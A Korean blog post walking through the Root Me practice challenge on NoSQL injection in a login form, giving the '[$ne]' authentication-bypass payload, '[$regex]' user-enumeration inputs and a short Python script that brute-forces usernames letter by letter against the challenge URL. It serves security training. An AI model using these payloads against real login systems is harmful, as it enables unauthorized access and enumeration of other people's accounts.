워게임/Root Me

[Root Me] NoSQL injection - Authentication - 웹해킹 / Python

SecurityMan 2022. 11. 5. 11:00

 

NoSQL Injection 과 관련된 웹해킹 문제

 

NoSQL 이란 Not only SQL 의 약자로 

 

SQL 만을 사용하지 않는 DBMS 를 말한다.

 

기존 관계형 데이터베이스 보다 덜 제한적인 특징을 가진다.

 

이번 문제의 목표는 NoSQL Injection 을 통해 숨겨진 USER 를 찾는 것이다.

 

반응형

 

 

문제 페이지에 접속하면 

 

이런 로그인 창이 나온다.

 

 

시험삼아 ID 와 PW 에 

 

hello / hello 라고 입력해봤다.

 

Bad username or bad password 라는 문구가 출력된다.

 

URL을 보니 입력한 ID 와 비밀번호를 GET 방식으로 서버에 전송하고 있다.

 

ID 는 login 변수에, 비밀번호는 pass 변수에 담아서 넘긴다.

 

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection

 

GitHub - swisskyrepo/PayloadsAllTheThings: A list of useful payloads and bypass for Web Application Security and Pentest/CTF

A list of useful payloads and bypass for Web Application Security and Pentest/CTF - GitHub - swisskyrepo/PayloadsAllTheThings: A list of useful payloads and bypass for Web Application Security and ...

github.com

 

Github 를 찾아보면 NoSQL Injection 공격을 위한 페이로드를 쉽게 찾을 수 있다.

 

 

그중 Authentication Bypass 와 관련된 페이로드를 하나 사용해 봤다.

 

변수명 뒤에 [$ne]=something 과 같이 써줌으로써 인증을 우회할 수 있다.

 

$ne는 not equal 이라는 의미로 username[$ne]=something 과 같이 쓰면

 

username이 something 이 아닌것 정도로 생각하면 된다.

 

 

URL에 ?login[$ne]=toto&pass[$ne]=toto 라고 입력하면

 

인증이 우회되어 admin 으로 로그인되는것을 볼 수 있다.

 

하지만 목표는 admin 으로 로그인 하는것이 아니라

 

숨겨진 USER를 찾는것이다.

 

 

이번엔 정규식 표현을 이용해봤다.

 

?login[$regex]=^a&pass[$ne]=toto 라고 입력해서

 

a로 시작하는 사용자를 찾아보면 admin 이라고 나오지만

 

?login[$regex]=^b&pass[$ne]=toto 라고 입력해서

 

b로 시작하는 사용자를 찾아보면 아무것도 안나오는 것을 볼 수 있다.

 

import requests

abc = 'abcdefghijklmnopqrstuvwxyz'

for i in range(len(abc)):
    url = 'http://challenge01.root-me.org/web-serveur/ch38/?login[$regex]=^{}&pass[$ne]=toto'.format(abc[i])
    r = requests.get(url)
    tmp = r.text.split('</iframe>')[1].split('<br ')[0][5:]
    print('regex : ' + abc[i] + ' / output : ', tmp)

 

알파벳 하나씩 쳐보는게 빠를 수 있지만

 

파이썬 코드로 한번 풀이를 작성해봤다.

 

a부터 z까지 대입해서 결과를 추출하는 코드이다.

 

 

코드를 실행시키면 세 개의 계정을 찾을 수 있고

 

그중 f로 시작하는 계정이 플래그인것을 확인할 수 있다.

반응형